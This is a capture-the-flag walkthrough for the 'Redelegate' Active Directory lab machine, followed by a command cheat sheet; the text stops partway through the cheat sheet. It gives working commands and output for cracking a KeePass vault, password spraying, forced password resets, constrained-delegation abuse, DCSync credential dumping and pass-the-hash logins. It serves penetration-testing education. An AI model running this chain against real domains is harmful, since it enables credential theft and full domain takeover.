πŸ” Redelegate

Machine: Redelegate
Difficulty: Hard
Theme: Anonymous FTP β†’ exposed KeePass vault β†’ weak seasonal master password β†’ SQL local credential β†’ MSSQL RID/domain enumeration β†’ targeted password reuse β†’ Helpdesk ACL abuse β†’ WinRM as Helen β†’ SeEnableDelegationPrivilege + GenericAll over computer object β†’ constrained delegation β†’ DCSync β†’ Administrator shell


🎯 Summary

Redelegate is a Windows Active Directory machine focused on credential discovery, MSSQL-backed domain enumeration, ACL abuse, and Kerberos constrained delegation.

Initial enumeration shows a domain controller exposing the usual AD services: DNS, Kerberos, LDAP, SMB, RPC, RDP, and WinRM. The interesting non-default services are FTP on port 21 and MSSQL on port 1433.

FTP allows anonymous login and exposes three files: an audit note, a training agenda, and a KeePass database. The training agenda explicitly warns employees against weak passwords following the pattern SeasonYear!. The KeePass database is downloaded in binary mode, converted with keepass2john, and cracked with a small custom season/year wordlist. The recovered vault contains several application and service credentials, including a SQLGuest credential.

The SQLGuest credential does not behave like a domain user. It authenticates locally to MSSQL on the domain controller. The account is low-privileged inside SQL Server: it is not sysadmin, sees only default databases, and xp_cmdshell is disabled. However, MSSQL can still resolve domain SIDs and RIDs. Using an MSSQL domain-account enumeration module reveals valid AD users and groups.

The leaked password pattern is then tested carefully against the discovered users. Instead of spraying the full wordlist, a single high-probability seasonal candidate is tested. This identifies valid domain credentials for Marie.Curie.

Authenticated enumeration with Marie.Curie shows that Marie is a member of the Helpdesk group. BloodHound reveals that Helpdesk has ForceChangePassword over multiple users, including Helen.Frost. Marie is used to reset Helen’s password. Helen is a member of a group that can access WinRM, giving an interactive shell and the user flag.

Helen’s local privileges include SeEnableDelegationPrivilege. BloodHound also shows that Helen is a member of IT, and IT has GenericAll over the FS01$ computer object. Since MachineAccountQuota is 0, creating a new attacker-controlled machine account is not possible. Instead, the existing FS01$ machine account is abused.

The FS01$ machine account password is reset, proving control over the object. Helen’s delegation privilege and control over FS01$ are then used to configure FS01$ for constrained delegation to the DC’s CIFS service. A Kerberos S4U flow is used to obtain a service ticket to cifs/dc.redelegate.vl while impersonating the dc computer account. With that ticket active, secretsdump performs a DCSync-style dump for the Administrator account. The recovered Administrator NT hash is then used with Evil-WinRM to obtain an Administrator shell and read root.txt.


1. Enumeration

Initial scan:

sudo nmap -sC -sV -vv -oA nmap/redelegate [TARGET_IP]

Important results:

21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Global Catalog
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

The scan identifies the domain:

redelegate.vl
dc.redelegate.vl

The host is clearly a domain controller.

A full TCP scan is still important:

sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/redelegate_portscan

The full scan reveals additional interesting services:

1433/tcp  open  ms-sql-s
49932/tcp open  ms-sql-s / dynamic SQL-related service
9389/tcp  open  adws
47001/tcp open  winrm

The main missed service from the initial scan was MSSQL on port 1433.

Important gotcha:

The default -sC -sV scan did not show MSSQL, while the full-port scan did. The initial scan also showed Nmap increasing send delay because of dropped probes. For this box, the full TCP scan was the better source of truth.

/etc/hosts was configured:

echo "[TARGET_IP] dc.redelegate.vl redelegate.vl dc" | sudo tee -a /etc/hosts

2. Anonymous FTP

FTP allowed anonymous login:

ftp [TARGET_IP]

Login:

Name: anonymous
Password: anonymous

Files exposed:

CyberAudit.txt
Shared.kdbx
TrainingAgenda.txt

All files were downloaded:

ftp> mget *

The KeePass database must be downloaded in binary mode:

ftp> bin
ftp> get Shared.kdbx

Important gotcha:

The first .kdbx download produced an ASCII-mode warning:

WARNING! bare linefeeds received in ASCII mode.
File may not have transferred correctly.

For a binary KeePass database, this matters. The file was re-downloaded with FTP binary mode enabled.


3. Exposed Audit and Training Material

CyberAudit.txt contained useful context:

OCTOBER 2024 AUDIT FINDINGS
 
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs

The remediation status was also useful:

Prompt users to change their passwords: DONE
Check privileges for all users and remove high privileges: DONE
Remove unused objects in the domain: IN PROGRESS
Recheck ACLs: IN PROGRESS

TrainingAgenda.txt contained the key password clue:

"Weak Passwords" - Why "SeasonYear!" is not a good password

The training was from October 2024, so the likely weak-password pattern was:

Season + 2024 + !

Important gotcha:

This was not a reason to immediately spray the whole domain. At this point there were no confirmed domain usernames yet. The first use of the clue was to attack the KeePass master password offline.


4. KeePass Cracking

The KeePass hash was extracted:

keepass2john Shared.kdbx > kp.hash

Hashcat rejected the generated hash format:

Salt-value exception
No hashes loaded

John recognized it correctly:

john --wordlist=/usr/share/wordlists/rockyou.txt kp.hash

However, a large generic list was unnecessary. A small custom wordlist was created from the training clue:

for s in Spring Summer Autumn Fall Winter; do
  for y in $(seq 2018 2025); do
    printf '%s%s\n%s%s!\n' "$s" "$y" "$s" "$y"
  done
done > season_year.txt

The hash was cracked:

john --wordlist=season_year.txt kp.hash
john --show kp.hash

Recovered result:

Shared:[KEEPASS_MASTER_PASSWORD]

Important gotchas:

The first John run was blocked because an older RockYou cracking process had left the John recovery file locked:

Crash recovery file is locked: ~/.john/john.rec

The solution was to stop the old John process and re-run the small targeted list.

The tiny custom list cracked the vault almost immediately. This was much better than waiting on a broad generic list.


5. KeePass Enumeration

The database was enumerated with keepassxc-cli.

List entries recursively:

keepassxc-cli ls -R Shared.kdbx

Output:

IT/
  FTP
  FS01 Admin
  WEB01
  SQL Guest Access
HelpDesk/
  KeyFob Combination
Finance/
  Timesheet Manager
  Payrol App

Show entries with protected fields:

keepassxc-cli show -s Shared.kdbx "IT/SQL Guest Access"

Useful recovered entries included:

SQL Guest Access
UserName: SQLGuest
Password: [SQLGUEST_PASSWORD]

Other entries appeared to be application or service credentials:

Administrator:[PASSWORD]
WordPress Panel:[PASSWORD]
KeyFob Combination:[VALUE]
Timesheet:[PASSWORD]
Payroll:[PASSWORD]

Important gotcha:

Without -s, keepassxc-cli show displays:

Password: PROTECTED

The -s option means --show-protected, which reveals protected fields.

This option is shown in the subcommand help:

keepassxc-cli show -h

Important gotcha:

The KeePass groups are not filesystem directories. Inside the KeePass CLI prompt, commands like cd and dir do not behave like a shell. The reliable workflow is to run keepassxc-cli ls and keepassxc-cli show from the normal terminal.


6. MSSQL Authentication

The SQLGuest credential looked service-specific, so it was tested against MSSQL instead of assuming it was an AD user.

nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth

Successful authentication:

[+] DC\SQLGuest:[SQLGUEST_PASSWORD]

This confirmed local SQL authentication.

Basic MSSQL checks:

nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT SYSTEM_USER;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT USER_NAME();"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT IS_SRVROLEMEMBER('sysadmin');"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@SERVERNAME;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@VERSION;"

Results:

SYSTEM_USER: SQLGuest
USER_NAME(): guest
IS_SRVROLEMEMBER('sysadmin'): 0
@@SERVERNAME: WIN-Q13O908QBPG\SQLEXPRESS
SQL Server 2019 Express Edition

xp_cmdshell was disabled:

nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';"

Output:

value_in_use: 0

Important gotcha:

This was not a SQL RCE path. SQLGuest was low privilege, not sysadmin, saw only default databases, and xp_cmdshell was disabled. The useful path was domain enumeration through MSSQL, not command execution.


7. MSSQL RID / Domain Account Enumeration

MSSQL was used to enumerate domain accounts through SID/RID resolution.

Metasploit module:

auxiliary/admin/mssql/mssql_enum_domain_accounts

Configuration:

set rhosts [TARGET_IP]
set rport 1433
set username SQLGuest
set password [SQLGUEST_PASSWORD]
set fuzznum 10000
run

Important output:

SQL Server Name: WIN-Q13O908QBPG
Domain Name: REDELEGATE
Found the domain sid: [DOMAIN_SID]

Resolved objects included:

REDELEGATE\DC$
REDELEGATE\FS01$
REDELEGATE\Christine.Flanders
REDELEGATE\Marie.Curie
REDELEGATE\Helen.Frost
REDELEGATE\Michael.Pontiac
REDELEGATE\Mallory.Roberts
REDELEGATE\James.Dinkleberg
REDELEGATE\Helpdesk
REDELEGATE\IT
REDELEGATE\Finance
REDELEGATE\DnsAdmins
REDELEGATE\DnsUpdateProxy
REDELEGATE\Ryan.Cooper
REDELEGATE\sql_svc

The output was saved to mssql_enum.

A clean user list was extracted:

Christine.Flanders
Helen.Frost
James.Dinkleberg
Mallory.Roberts
Marie.Curie
Michael.Pontiac
Ryan.Cooper
sql_svc

Example vi filter used to clean the output:

:%!grep -oP 'REDELEGATE\\\K\S+' | grep -E '^[A-Za-z]+\.[A-Za-z]+$|^sql_svc$' | sort -u

Important gotcha:

The MSSQL module enumerates users, groups, computers, and built-ins. The spray list should not include groups, machine accounts, or built-in objects.


8. Targeted Password Reuse

At this point, the training material had provided a weak password pattern, and MSSQL had provided valid domain usernames.

The first instinct might be to spray the entire season_year.txt list:

nxc smb [TARGET_IP] -u users.txt -p season_year.txt --continue-on-success

This is noisy and lockout-risky.

A safer first step was to test only the highest-probability candidate that had already cracked the KeePass database:

nxc smb [TARGET_IP] -u users.txt -p '[SEASONAL_PASSWORD]' --continue-on-success

Valid credentials were found:

[+] redelegate.vl\Marie.Curie:[SEASONAL_PASSWORD]

Important gotcha:

Even in a lab, it is better to think like a real engagement. Eight users times eighty passwords is 640 attempts. A single candidate across eight users is much cleaner.

nxc syntax gotcha:

The target must come before or after options depending on habit, but it must be included:

nxc smb [TARGET_IP] -u users.txt -p '[PASSWORD]' --continue-on-success

If the target is omitted, nxc returns:

error: the following arguments are required: target

9. Authenticated Enumeration as Marie

Validate Marie:

nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc winrm [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'

Results:

SMB:  valid
LDAP: valid
WinRM: failed

Shares:

nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --shares

Output:

IPC$      READ
NETLOGON  READ
SYSVOL    READ

Users:

nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --users

Useful output:

Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Ryan.Cooper
sql_svc

Groups:

nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --groups

Machine Account Quota:

nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -M maq

Output:

MachineAccountQuota: 0

Important gotcha:

MachineAccountQuota: 0 means the normal β€œcreate a new computer account” path is not available. This becomes important later when abusing an existing computer object instead.


10. BloodHound / RustHound Collection

RustHound-CE was used with Marie’s credentials:

rusthound-ce --domain redelegate.vl -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -z

Output:

12 users parsed
64 groups parsed
2 computers parsed
1 domains parsed
2 gpos parsed
20260608203555_redelegate-vl_rusthound-ce.zip created

The zip was imported into BloodHound.

Important graph findings:

Marie.Curie β†’ MemberOf β†’ Helpdesk
Helpdesk β†’ ForceChangePassword β†’ Helen.Frost
Helen.Frost β†’ MemberOf β†’ IT
IT β†’ GenericAll β†’ FS01

The first practical path was:

Marie.Curie
  ↓
Helpdesk
  ↓ ForceChangePassword
Helen.Frost

Helen was also a member of a group that could use WinRM.

Important gotcha:

Do not rely only on β€œShortest Paths to Domain Admin.” For this box, manually inspecting first-degree group membership and outbound object control was more useful.


11. ForceChangePassword Abuse: Marie to Helen

Because Helpdesk had ForceChangePassword over Helen.Frost, Marie could reset Helen’s password.

bloodyAD --host dc.redelegate.vl \
  -d redelegate.vl \
  -u Marie.Curie \
  -p '[MARIE_PASSWORD]' \
  set password Helen.Frost '[NEW_HELEN_PASSWORD]'

Output:

[+] Password changed successfully!

Validate Helen:

nxc smb [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'
nxc ldap [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'
nxc winrm [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'

WinRM succeeded.

Shell:

evil-winrm -i redelegate.vl -u Helen.Frost -p '[NEW_HELEN_PASSWORD]'

User flag:

cd C:\Users\Helen.Frost\Desktop
type user.txt

Important gotcha:

PowerShell on this target did not accept && as a command separator:

cd ..\Desktop && type user.txt

Error:

The token '&&' is not a valid statement separator in this version.

Use ; instead:

cd ..\Desktop; type user.txt

Important gotcha:

Changing another user’s password is disruptive. In HTB it is expected. In a real engagement, this requires explicit authorization and should be documented clearly.


12. Helen Enumeration

Inside Evil-WinRM:

whoami
whoami /groups
whoami /priv
hostname

Group output showed Helen was in:

REDELEGATE\IT
BUILTIN\Remote Management Users

Privilege output:

SeMachineAccountPrivilege        Add workstations to domain       Enabled
SeChangeNotifyPrivilege          Bypass traverse checking         Enabled
SeEnableDelegationPrivilege      Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege    Increase a process working set   Enabled

The key privilege:

SeEnableDelegationPrivilege

BloodHound showed:

Helen.Frost β†’ MemberOf β†’ IT
IT β†’ GenericAll β†’ FS01

Important gotcha:

At first glance, FS01 sounds like a file server to browse. The more important point is that FS01$ is an AD computer object. GenericAll over a computer object can be abused through AD attribute control.


13. Understanding FS01$

FS01$ is a computer account.

Querying it with Get-ADUser is wrong:

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName FS01$

Error:

A positional parameter cannot be found that accepts argument 'FS01$'.

Correct cmdlet:

Import-Module ActiveDirectory
 
Get-ADComputer -Identity FS01 -Properties ServicePrincipalName

Output showed the computer object:

Name              : FS01
SamAccountName    : FS01$
Enabled           : True
DNSHostName       :
ServicePrincipalName : empty

Important gotcha:

FS01$ having no SPNs was not a Kerberoasting lead. Computer account passwords are typically long and random. Also, once the password is reset, roasting it is pointless because the password is already known.

The useful idea was not Kerberoasting. The useful idea was delegation.


14. Why Delegation Matters Here

The box gives three important facts:

Helen has SeEnableDelegationPrivilege
Helen is in IT
IT has GenericAll over FS01$

This means Helen can modify the FS01$ computer object and configure delegation-related attributes.

Since:

MachineAccountQuota: 0

creating a new attacker-controlled computer account is not available. The workaround is to abuse an existing computer account that is already controllable:

FS01$

Attack shape:

Control FS01$ as an AD object
  ↓
Reset FS01$ machine account password
  ↓
Configure FS01$ for constrained delegation
  ↓
Allow FS01$ to delegate to a DC-hosted service
  ↓
Use FS01$ credentials to request an impersonated service ticket
  ↓
Use the ticket against the DC

Important gotcha:

RBCD directionality matters. Configuring delegation access to FS01 would not compromise the DC. The useful action was configuring FS01$ to delegate to a DC-hosted service.


15. Resetting the FS01$ Machine Account Password

From Helen’s WinRM shell:

$newPass = ConvertTo-SecureString '[FS01_NEW_PASSWORD]' -AsPlainText -Force
 
Set-ADAccountPassword -Identity 'FS01$' -Reset -NewPassword $newPass

Verify timestamp:

Get-ADComputer -Identity FS01 -Properties PasswordLastSet,pwdLastSet |
  Format-List Name,SamAccountName,PasswordLastSet,pwdLastSet

Output:

Name            : FS01
SamAccountName  : FS01$
PasswordLastSet : [UPDATED_TIMESTAMP]
pwdLastSet      : [UPDATED_VALUE]

Validate from Kali:

nxc smb [TARGET_IP] -d redelegate.vl -u 'FS01$' -p '[FS01_NEW_PASSWORD]'

Successful output:

[+] redelegate.vl\FS01$:[FS01_NEW_PASSWORD]

Important gotcha:

Use single quotes around FS01$. Otherwise the shell may interpret $.

Important gotcha:

Resetting a machine account password can break a real machine’s domain trust. In HTB this is fine. In a real environment, this requires explicit approval.


16. DC SPNs and HOST Mapping

The DC’s SPNs were enumerated:

(Get-ADComputer -Identity DC -Properties ServicePrincipalName).ServicePrincipalName

Output included:

TERMSRV/DC
TERMSRV/dc.redelegate.vl
ldap/dc.redelegate.vl
DNS/dc.redelegate.vl
HOST/DC
HOST/dc.redelegate.vl
HOST/dc.redelegate.vl/redelegate.vl
RestrictedKrbHost/DC
RestrictedKrbHost/dc.redelegate.vl

There was no explicit:

cifs/dc.redelegate.vl

This was not a blocker.

SPN mappings were checked:

Get-ADObject "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=redelegate,DC=vl" -Properties sPNMappings |
  Select-Object -ExpandProperty sPNMappings

Output showed that HOST maps to many service classes, including cifs:

host=alerter,appmgmt,cisvc,...,cifs,...,www,http,...

Important gotcha:

cifs/dc.redelegate.vl does not need to be explicitly listed as a DC SPN when HOST mappings cover it.


17. Configuring Constrained Delegation on FS01$

A Kerberos TGT was requested for Helen:

impacket-getTGT redelegate.vl/Helen.Frost:'[HELEN_PASSWORD]' -dc-ip [TARGET_IP]
export KRB5CCNAME="$(pwd)/Helen.Frost.ccache"
klist

Expected:

Default principal: Helen.Frost@REDELEGATE.VL

Delegation attributes were modified on FS01$:

bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
  add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION

Output:

[+] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$ userAccountControl

Then the allowed delegation target was set:

bloodyAD -d redelegate.vl -k --host dc.redelegate.vl \
  set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'

Output:

[+] FS01$'s msDS-AllowedToDelegateTo has been updated

Verify from PowerShell:

Get-ADComputer -Identity FS01 -Properties userAccountControl,msDS-AllowedToDelegateTo |
  Format-List Name,SamAccountName,userAccountControl,msDS-AllowedToDelegateTo

Output:

Name                    : FS01
SamAccountName          : FS01$
userAccountControl      : 16781312
msDS-AllowedToDelegateTo: {cifs/dc.redelegate.vl}

Verify the flag:

$uac = (Get-ADComputer -Identity FS01 -Properties userAccountControl).userAccountControl
[bool]($uac -band 0x1000000)

Output:

True

Important gotcha:

The target object to modify is FS01$, not the DC. The target SPN placed into msDS-AllowedToDelegateTo is the DC-hosted service:

cifs/dc.redelegate.vl

18. S4U Ticket Request

A TGT was requested for the controlled machine account:

impacket-getTGT redelegate.vl/'FS01$':'[FS01_PASSWORD]' -dc-ip [TARGET_IP]

This created:

FS01$.ccache

Set the Kerberos cache:

export KRB5CCNAME="$(pwd)/FS01\$.ccache"
klist

Expected:

Default principal: FS01$@REDELEGATE.VL

Request the delegated service ticket:

impacket-getST 'redelegate.vl/FS01$:[FS01_PASSWORD]' \
  -dc-ip [TARGET_IP] \
  -spn cifs/dc.redelegate.vl \
  -impersonate dc

Expected output:

[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache

Set the new Kerberos cache:

export KRB5CCNAME="$(pwd)/dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache"
klist

Expected:

Default principal: dc@redelegate.vl
Service principal: cifs/dc.redelegate.vl@REDELEGATE.VL

Important gotcha:

impacket-getST did not create dc.ccache. It created a file named:

dc@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache

Exporting the wrong filename causes:

klist: No credentials cache found

Always check:

ls -la *.ccache

and export the exact generated file.


19. DCSync and Administrator Hash

With the delegated CIFS ticket active:

impacket-secretsdump -k -no-pass dc.redelegate.vl -just-dc-user Administrator

Successful output:

[*] Dumping Domain Credentials
[*] Using the DRSUAPI method to get NTDS.DIT secrets
 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[ADMIN_NT_HASH]:::

The Administrator Kerberos keys were also dumped.

Important gotcha:

Before running secretsdump, verify the active cache:

klist

The cache must show the delegated service ticket, not Helen’s TGT or FS01’s TGT.


20. Administrator WinRM and Root Flag

Use the recovered NT hash:

evil-winrm -i redelegate.vl -u 'Administrator' -H [ADMIN_NT_HASH]

Shell:

*Evil-WinRM* PS C:\Users\Administrator\Documents>

Root flag:

cd C:\Users\Administrator\Desktop
type root.txt

Important gotcha:

A previous Evil-WinRM session produced:

WinRM::WinRMAuthorizationError

This was not relevant after the Administrator hash was recovered. The final Administrator hash-based WinRM login confirmed full compromise.


πŸ”— Condensed Attack Chain

Initial scan
  ↓
Domain controller identified
  ↓
Full TCP scan reveals MSSQL on 1433
  ↓
Anonymous FTP login succeeds
  ↓
FTP exposes CyberAudit.txt, TrainingAgenda.txt, Shared.kdbx
  ↓
Shared.kdbx re-downloaded in binary mode
  ↓
TrainingAgenda.txt leaks SeasonYear! weak password pattern
  ↓
KeePass hash extracted with keepass2john
  ↓
Custom season/year wordlist cracks KeePass master password
  ↓
KeePass contains SQLGuest MSSQL credential
  ↓
SQLGuest authenticates locally to MSSQL
  ↓
SQLGuest is not sysadmin and xp_cmdshell is disabled
  ↓
MSSQL RID/domain enumeration reveals AD users and groups
  ↓
User list extracted from MSSQL output
  ↓
Single targeted seasonal password reuse test finds Marie.Curie
  ↓
Marie authenticates to SMB/LDAP but not WinRM
  ↓
RustHound/BloodHound collection as Marie
  ↓
Marie is member of Helpdesk
  ↓
Helpdesk has ForceChangePassword over Helen.Frost
  ↓
Marie resets Helen’s password
  ↓
Helen has WinRM access
  ↓
user.txt recovered from Helen’s Desktop
  ↓
Helen is member of IT
  ↓
Helen has SeEnableDelegationPrivilege
  ↓
IT has GenericAll over FS01$
  ↓
FS01$ machine account password reset
  ↓
FS01$ authentication confirmed
  ↓
FS01$ configured with TRUSTED_TO_AUTH_FOR_DELEGATION
  ↓
msDS-AllowedToDelegateTo set to cifs/dc.redelegate.vl
  ↓
S4U2Self/S4U2Proxy ticket requested as FS01$ impersonating dc
  ↓
Delegated CIFS ticket exported as active KRB5CCNAME
  ↓
secretsdump performs DCSync for Administrator
  ↓
Administrator NT hash recovered
  ↓
Evil-WinRM as Administrator
  ↓
root.txt recovered

🧠 Key Takeaways

Anonymous FTP on a domain controller is high impact. Even small files can expose internal process, audit status, password patterns, or credential material.

Binary files must be downloaded in binary mode over FTP. The KeePass database produced an ASCII-mode warning on first download, so it had to be re-downloaded correctly.

Training material can be offensive intelligence. The phrase SeasonYear! directly informed the KeePass cracking strategy and later targeted password reuse testing.

Targeted wordlists beat generic brute force. The KeePass vault cracked quickly with a tiny custom list instead of waiting on RockYou.

KeePass CLI hides passwords by default. Use keepassxc-cli show -s to reveal protected fields.

Credentials should be classified before testing. SQLGuest looked like a SQL-local credential, not a domain user, and testing it against MSSQL was the right move.

Low-privileged MSSQL can still be useful. Even without sysadmin, app databases, or xp_cmdshell, MSSQL enabled domain SID/RID enumeration.

The full TCP scan mattered. MSSQL was not shown in the initial default service scan, but it was found by the full port scan.

Password spraying should be lockout-aware. Testing one high-probability password across discovered users was cleaner than spraying the full custom list.

BloodHound edges require interpretation. ForceChangePassword led to Helen. GenericAll over FS01$ did not mean β€œbrowse a file share”; it meant control of an AD computer object.

MachineAccountQuota changed the approach. Since MAQ was 0, creating a new computer object was unavailable. Controlling the existing FS01$ object solved that problem.

FS01$ is a computer account, not a user. Use Get-ADComputer, not Get-ADUser.

Kerberoasting was a rabbit hole here. Adding an SPN to FS01$ and roasting it would not be useful because computer account passwords are usually not crackable, and after a reset the password is already known.

Delegation direction matters. RBCD on FS01$ would grant delegated access to FS01, not to the DC. The useful path was constrained delegation from FS01$ to a DC service.

HOST SPN mappings matter. cifs/dc.redelegate.vl did not appear explicitly in the DC’s SPNs, but HOST mappings covered CIFS.

Kerberos cache handling matters. getST saved the ticket to a long filename, not dc.ccache. The exact generated ccache file had to be exported before running secretsdump.

SeEnableDelegationPrivilege is extremely dangerous when combined with object control. Helen’s privilege plus GenericAll over FS01$ enabled constrained delegation abuse and domain compromise.


⚑ Commands Cheat Sheet

Host setup

echo "[TARGET_IP] dc.redelegate.vl redelegate.vl dc" | sudo tee -a /etc/hosts

Nmap

sudo nmap -sC -sV -vv -oA nmap/redelegate [TARGET_IP]
 
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/redelegate_portscan
 
sudo nmap -sC -sV -p 1433,49932 [TARGET_IP] -oA nmap/redelegate-mssql

FTP

ftp [TARGET_IP]

Inside FTP:

anonymous
anonymous
 
ls
bin
mget *
get Shared.kdbx
bye

KeePass cracking

keepass2john Shared.kdbx > kp.hash
 
for s in Spring Summer Autumn Fall Winter; do
  for y in $(seq 2018 2025); do
    printf '%s%s\n%s%s!\n' "$s" "$y" "$s" "$y"
  done
done > season_year.txt
 
john --wordlist=season_year.txt kp.hash
john --show kp.hash

KeePass enumeration

keepassxc-cli ls -R Shared.kdbx
 
keepassxc-cli show -s Shared.kdbx "IT/SQL Guest Access"
 
keepassxc-cli show -s Shared.kdbx "IT/FTP"
keepassxc-cli show -s Shared.kdbx "IT/FS01 Admin"
keepassxc-cli show -s Shared.kdbx "IT/WEB01"
keepassxc-cli show -s Shared.kdbx "HelpDesk/KeyFob Combination"
keepassxc-cli show -s Shared.kdbx "Finance/Timesheet Manager"
keepassxc-cli show -s Shared.kdbx "Finance/Payrol App"

MSSQL validation

nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth
 
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT SYSTEM_USER;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT USER_NAME();"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT IS_SRVROLEMEMBER('sysadmin');"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@SERVERNAME;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT @@VERSION;"
nxc mssql [TARGET_IP] -u 'SQLGuest' -p '[SQLGUEST_PASSWORD]' --local-auth -q "SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';"

MSSQL domain account enumeration

Metasploit:

msfconsole
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhosts [TARGET_IP]
set rport 1433
set username SQLGuest
set password [SQLGUEST_PASSWORD]
set fuzznum 10000
run

Clean MSSQL output into users

Inside vi:

:%!grep -oP 'REDELEGATE\\\K\S+' | grep -E '^[A-Za-z]+\.[A-Za-z]+$|^sql_svc$' | sort -u
:w users.txt
:q!

Fallback without grep -P:

:%!awk -F'REDELEGATE\\\\' '/REDELEGATE\\\\/ {print $2}' | awk '{print $1}' | grep -E '^[A-Za-z]+\.[A-Za-z]+$|^sql_svc$' | sort -u
:w users.txt
:q!

Password reuse testing

Safer one-password test:

nxc smb [TARGET_IP] -u users.txt -p '[SEASONAL_PASSWORD]' --continue-on-success

LDAP alternative:

nxc ldap [TARGET_IP] -u users.txt -p '[SEASONAL_PASSWORD]' --continue-on-success

Marie validation

nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
nxc winrm [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]'
 
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --shares
nxc smb [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --users
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' --groups
nxc ldap [TARGET_IP] -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -M maq

RustHound-CE

rusthound-ce --domain redelegate.vl -u 'Marie.Curie' -p '[MARIE_PASSWORD]' -z

Reset Helen password

bloodyAD --host dc.redelegate.vl \
  -d redelegate.vl \
  -u Marie.Curie \
  -p '[MARIE_PASSWORD]' \
  set password Helen.Frost '[NEW_HELEN_PASSWORD]'

Helen access

nxc winrm [TARGET_IP] -u 'Helen.Frost' -p '[NEW_HELEN_PASSWORD]'
 
evil-winrm -i redelegate.vl -u Helen.Frost -p '[NEW_HELEN_PASSWORD]'

Inside Evil-WinRM:

whoami
whoami /groups
whoami /priv
hostname
 
cd C:\Users\Helen.Frost\Desktop
type user.txt

AD computer enumeration

Import-Module ActiveDirectory
 
Get-ADComputer -Identity FS01 -Properties ServicePrincipalName
 
Get-ADComputer -Identity FS01 -Properties userAccountControl,msDS-AllowedToDelegateTo,msDS-AllowedToActOnBehalfOfOtherIdentity |
  Format-List Name,SamAccountName,DNSHostName,ServicePrincipalName,userAccountControl,msDS-AllowedToDelegateTo,msDS-AllowedToActOnBehalfOfOtherIdentity
 
(Get-ADComputer -Identity DC -Properties ServicePrincipalName).ServicePrincipalName

SPN mappings:

